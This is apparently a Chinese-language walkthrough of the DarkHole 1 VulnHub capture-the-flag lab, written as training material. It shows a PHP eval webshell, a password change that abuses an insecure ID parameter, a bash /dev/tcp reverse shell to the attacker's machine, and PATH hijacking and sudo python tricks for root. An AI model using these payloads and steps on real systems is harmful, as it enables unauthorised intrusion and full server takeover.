VulnHub
- 1:靶场信息
- 2:打靶
- 2.1:情报收集&威胁建模
- 2.2:漏洞分析&渗透攻击
- 3:总结
- 3.1:命令&工具
- 3.1.1:Nmap
- 3.2:关键技术
VulnHub 打靶记录。官网:https://www.vulnhub.com
攻击机为 Kali-Linux-2023.2-vmware-amd64。
Kali NAT IP:192.168.8.10。
1:靶场信息
靶场网址:https://www.vulnhub.com/entry/darkhole-1,724/
2:打靶
2.1:情报收集&威胁建模
首先确定目标 ip:
主机发现:
nmap -sn 192.168.8.0/24
目标 ip 为 192.168.8.108。
接着扫描一下目标端口信息:
目标信息扫描:
nmap -sS -sV -T4 -n -p- 192.168.8.108
目标开放了 80 端口和 22 端口。
访问 80 端口,有一个登录页面,还有注册页面。
除此以外再扫描一下网站目录。
扫描网站目录:
dirsearch -u http://192.168.8.108/
经过检查没有太多有用的信息,(但 /upload/ 目录下有彩蛋。
2.2:漏洞分析&渗透攻击
80 端口的 web 初步检查没有弱点,只能先注册一个账号登录进去看看。
登录后的页面,有一个更新用户信息和修改密码的选项。
尝试修改 url 的 ID 参数,无果。
没办法。抓包看一下修改密码的数据包。
可以看到修改密码时附带了用户 ID。
那就尝试一下能不能通过修改提交的 ID 越权修改其他用户的密码。
尝试修改 ID 为 1 的用户,应该就是 admin。修改成功。
登录到 admin 之后发现可以上传文件。
在各种尝试之后,发现后端检测应该是黑名单机制。成功上传 .phtml 文件。
<?php
echo 'Hello!';
@eval($_POST['hello']);
?>
上传成功后给出了文件地址,访问发现文件可以被执行。
使用蚁剑连接。
连接成功后首先使用蚁剑终端进行 shell 反弹。
反弹 shell:
1、kali:nc -lv -p 6666
2、server:bash -c 'exec bash -i &>/dev/tcp/192.168.8.10/6666 <&1'
成功反弹 shell。这里尝试了其他反弹 shell 的代码,有些不知道为什么不能运行,不过换其他语句即可。
这里说一下为什么要第一时间反弹 shell,因为在其他终端(网页、蚁剑等)可能会有潜在的限制。不便于之后的操作(例如提权)。
可以尝试使用 find
命令查找敏感文件。不过这里直接查看一下 /etc/passwd 文件,寻找一下存在可以提权的用户。
cat /etc/passwd | grep /bin/bash
进入到 darkhole 与 john 用户的 home 目录,寻找有用信息。在 john 目录下发现一些有趣的文件。
password 与 user.txt 文件无权查看。
运行一下 toto 文件,发现它以 john 用户的身份运行类似 id
的命令。
那就尝试使用该文件提权。
- 在本地编辑新的 id 文件,写入 /bin/bash,给执行权限。
- 然后将文件路径写入到原有环境变量前,这样使用
id
命令时就会优先匹配此路径下的 id 文件运行。 - 所以运行 toto 文件使用 john 身份调用
id
命令,实际上就是使用 john 身份调用 id 文件运行,即可获得 john 的 shell。
创建一个新 id 文件:
echo '/bin/bash' > /tmp/id
赋予权限:
chmod +x /tmp/id
改变环境变量:
export PATH=/tmp:$PATH
然后运行 toto 文件即获得 john 权限。
之后查看 /home/john/ 下原本无权查看的 password 文件与 user.txt 文件。
得到一个密码:root123。猜测是 john 用户的相关密码。
同时目标开启了 22 端口,提供 ssh 服务。尝试使用 john 账户登录。
现在仍然是 john 账户,接下来提权到 root。
查看用户能够使用 sudo 运行的命令:
sudo -l
运行
sudo -l
,用户可以了解自己在系统上具有的 sudo 权限,以及可以运行的特权命令与文件。
可以看到 john 用户可以以管理员身份运行 /home/john/file.py。
- 那么只要通过此文件执行获取 shell,即可获得管理员权限。
- 将获取 shell 的命令加入到此 python 文件。
echo 'import os;os.system("/bin/bash")' > file.py
- 以管理员身份执行即可。
sudo python3 /home/john/file.py
成功获取 root 权限。完结撒花!(◕ᴗ◕✿)
最后补充一下为什么要通过 ssh 连接以后再提权:如果直接通过反弹的 shell 尝试提权至 root,会出现以下情况:
完结 (◕ᴗ◕✿)
3:总结
3.1:命令&工具
- nmap
- dirsearch
- BurpSuite
- 蚁剑
- NetCat
- bash
- ssh
- python
3.1.1:Nmap
部分选项:
参数 | 介绍 |
---|---|
-sn | Ping Scan - disable port scan |
-sS/sT/sA/sW/sM | TCP SYN/Connect()/ACK/Window/Maimon scans |
-sV | Probe open ports to determine service/version info |
-T<0-5> | Set timing template (higher is faster) |
-n/-R | Never do DNS resolution/Always resolve [default: sometimes] |
-p- | 描目标主机的所有端口 |
3.2:关键技术
-
主机发现:
nmap -sn <IP>
-
目标信息扫描,扫描所有端口及开放端口的服务:
nmap -sS -sV -T<0-5> -n -p- <target>
-
网站目录扫描:
dirsearch -u <URL>
-
网站逻辑漏洞,越权之修改密码。
-
文件上传漏洞。
-
蚁剑连接一句话木马。
-
反弹 shell:
1、kali:nc -lv -p <端口>
2、server:bash -c 'exec bash -i &>/dev/tcp/<IP>/<端口> <&1'
bash -c
:让系统运行一个新的 Bash shell,-c
选项后是实际要执行的命令。exec
:替换当前 shell 进程。这意味着之前的 shell 进程将被关闭,而新的 Bash shell 将接管标准输入、标准输出和标准错误流。bash -i
:启动一个交互式 Bash shell,-i
表示这是一个交互式的 shell,可以接受用户输入。&>
:重定向操作符,将后续的命令的标准输出和标准错误都重定向到一个文件或设备。在这里即/dev/tcp/<IP>/<端口>
,将标准输出和标准错误都重定向到一个指定的 IP 地址和端口。<&1
:将标准输入重定向到标准输出。确保在建立连接后,用户可以在远程 shell 中输入命令。
-
Linux 权限、环境变量相关知识。
-
查看用户具有的 sudo 权限:
sudo -l
-
提权,通过系统调用实现。
-
python 获取 shell。
import os;
os.system("/bin/bash")
若待功成拂衣去,武陵桃花笑杀人。
——《当涂赵炎少府粉图山水歌》(唐)李白